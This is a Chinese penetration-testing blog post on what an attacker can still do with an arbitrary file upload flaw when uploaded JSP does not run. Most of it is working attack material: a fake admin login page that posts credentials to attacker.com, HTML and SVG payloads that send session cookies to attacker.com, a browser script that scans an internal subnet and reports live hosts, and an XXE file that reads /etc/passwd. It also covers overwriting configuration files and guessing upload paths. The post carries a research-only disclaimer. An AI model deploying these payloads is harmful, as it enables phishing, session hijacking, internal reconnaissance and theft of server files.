任意文件上传但JSP失效?别急,文件上传还有这些隐藏玩法!

admin 2025年5月5日23:54:03评论0 views字数 3227阅读10分45秒阅读模式

🛡️ 无法执行 JSP 时,如何高效利用任意文件上传漏洞

🧩 漏洞背景

目标系统存在任意文件上传漏洞,攻击者可以上传任意类型的文件,包括 .jsp.html.js 等。但:

  • .jsp 虽可上传,但 无法执行(可能情况:Web 服务器不解析 JSP、权限限制、文件路径未知等)。
  • 文件真实路径已知,上传后文件访问不解析执行。
  • 不能依赖传统的 WebShell 方式上线或执行命令。

那么,此时我们还能做什么呢?以下是完整的实战指南。

📌 核心目标

即使无法执行服务器端脚本,任意文件上传仍具备以下潜力:

  1. 信息扩大与目标侦察
  2. 诱导型攻击(钓鱼/社工)
  3. 辅助其他漏洞链构建(如 XSS、LFI、XXE 等)

🧭 利用方式与可行性分析

1. 上传 HTML + JS 页面诱导访问(钓鱼攻击)

思路: 上传恶意 HTML 页面,诱导管理员点击访问,执行 JS 代码,实现 XSS、信息收集或内网探测。

示例:上传诱导页面 login.html

<!-- fake_admin_login.html --><html><body><h2>后台登录已超时,请重新登录</h2><form action="http://attacker.com/collect" method="POST">      用户名:<input name="user"><br>      密码:<input type="password" name="pass"><br><input type="submit" value="登录"></form></body></html>

利用方式:

  1. 上传该文件,设为 login.html
  2. 发送钓鱼链接到管理员或目标用户(如:https://target.com/uploads/login.html
  3. 等待凭据提交到攻击者服务器

2. 注入型 HTML/JS 页面 -> XSS 脚本执行

思路: 上传带有 XSS Payload 的 .html.svg.js 文件,诱导访问即触发脚本。

示例:xss.html

<html><body><script>      fetch("http://attacker.com/collect?cookie=" + document.cookie);</script><h1>加载中...</h1></body></html>

利用方式:

  1. 上传 xss.html
  2. 访问链接诱导管理员点击(或目标系统自动加载 HTML 页面如日志、图像、文档)
  3. 自动发送管理员 Cookie 给攻击者,实现后台会话劫持

3. SVG 文件 XSS 利用(绕过限制)

思路: SVG 是合法图像格式,支持嵌入脚本,可绕过部分上传限制系统。

示例:xss.svg

<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker.com/log?c='+document.cookie)"><circle cx="100" cy="100" r="50" fill="blue"/></svg>

利用方式:

  1. 上传 xss.svg
  2. 如果有“文件预览”、“图像查看”功能,管理员点击查看时即被触发

4. 利用上传文件进行内网信息收集(诱导扫描)

思路: 上传 JS 页面诱导用户浏览器请求内网地址,攻击者据此确认内网结构。

示例:intranet_scan.html

<script>const ports = [80808050008000];const subnet = "192.168.1.";for (let i = 1; i <= 254; i++) {  ports.forEach(port => {let target = `http://${subnet}${i}:${port}`;    fetch(target, { mode'no-cors' }).then(() => {      fetch("http://attacker.com/log?host=" + encodeURIComponent(target)); // 结果返回    });  });}</script>

利用方式:

  1. 诱导管理员或内部用户访问上传页面
  2. 浏览器触发内网请求
  3. 攻击者服务器接收成功请求,获得内网 IP 存活资产

5. 恶意 XML / JSON 文件触发 XXE / 配置注入

思路: 某些系统会解析上传的 XML/JSON 文件,若未安全配置,可能触发 XXE 或 JSON 配置注入。

示例:evil.xml

<?xml version="1.0"?><!DOCTYPE root [<!ENTITY xxe SYSTEM"file:///etc/passwd">]><root>&xxe;</root>

利用方式:

  1. 上传该 XML 文件(如配置文件、报告模板等)
  2. 等待系统解析并反馈结果
  3. 若 XXE 存在,攻击者能获取服务器本地文件内容

6. 文件覆盖 / 配置污染(需路径可控)

思路: 若上传路径可控或服务端目录结构可探测,尝试覆盖配置文件、JS 文件、日志文件等。

比如:

  • 覆盖 .js 文件供前端加载
  • 覆盖 Nginx 配置或 Spring YAML 配置(若应用会加载上传的配置)

🔍 如何获取文件真实路径

1. 响应内容回显分析

大多数文件上传接口在上传成功后会返回响应信息,其中可能包含如下内容:

  • 文件的访问路径(绝对或相对){"url":"/upload/imgs/abc.jpg"}
  • 存储路径或文件名{"filePath":"C:\web\uploads\abc.jsp"}
  • 上传后的文件名(可用于拼接路径){"file":"abc.jsp"}

💡 建议:详细分析响应体中的 JSON、HTML、Headers,尤其是如 urlpathlocation 字段。

2. 功能页面自动引用上传文件

有些上传功能会直接在前端页面或后端逻辑中使用上传的文件,例如:

  • 上传头像后,在用户详情页自动加载该图片
  • 上传合同后,在某个预览地址中通过真实路径访问文件
  • 富文本上传图片后,在文章编辑区预览

💡 建议

  • 上传文件后观察是否有图片、音频、PDF 等自动加载;
  • 监听是否有新请求发起,URL 中可能就含有真实路径;
  • 若返回 img srciframeobject 标签,路径常嵌入其中。

3. 路径猜解与探测(信息有限时)

若以上两种方式都失败,就只能根据已有线索猜测路径或进行探测。例如:

  • 根据上传接口的路径推断访问路径
    • 上传接口为 /api/upload/image
    • 通常可猜测访问路径可能为 /static/upload/image/xxx.png
  • 常见路径规则尝试
    • /uploads/
    • /userfiles/
    • /static/
    • /assets/upload/
    • /files/
  • 使用目录扫描工具(如 dirsearch)配合上传文件名进行路径爆破。
  • 结合响应文件名构造路径
    • /upload/abc.jpg
    • /uploads/images/abc.jpg
    • 返回了文件名 abc.jpg,你可以尝试:

💡 注意:猜测路径时尽量使用时间戳、UUID、用户ID等组合逻辑,还可结合源码、JS、路径泄漏等辅助信息。

📎 总结

  • 不要一开始就死磕 .jsp 的执行
  • 尽量从业务功能角度多思考上传的文件,如何被使用、包含或处理
  • 善用 HTML + JS 组合的诱导和信息获取能力
  • 一旦能访问上传文件,钓鱼 + XSS 是最快获取权限的方式之一
利用方式
文件类型
目标效果
难度
附加条件
HTML 钓鱼/社工
.html
获取凭据,诱导访问
用户配合/诱导
JS 扫描脚本
.js

/.html
内网探测/信息泄露
⭐⭐
管理员需访问
XSS 攻击
.html

/.svg
打 Cookie,后台劫持会话
⭐⭐⭐
浏览器解析+诱导点击
XXE 注入
.xml
读取服务器文件
⭐⭐⭐
服务端解析器需存在 XXE 漏洞
SVG 绕过上传限制
.svg
图像预览时触发
⭐⭐
图像可预览/自动渲染
配置覆盖攻击
任意
覆盖 JS/config,污染执行点
⭐⭐⭐⭐
上传路径可控
#渗透测试 #网络安全 #源码审计

原文始发于微信公众号(季升安全):任意文件上传但JSP失效?别急,文件上传还有这些隐藏玩法!

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月5日23:54:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   任意文件上传但JSP失效?别急,文件上传还有这些隐藏玩法!https://cn-sec.com/archives/4027803.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息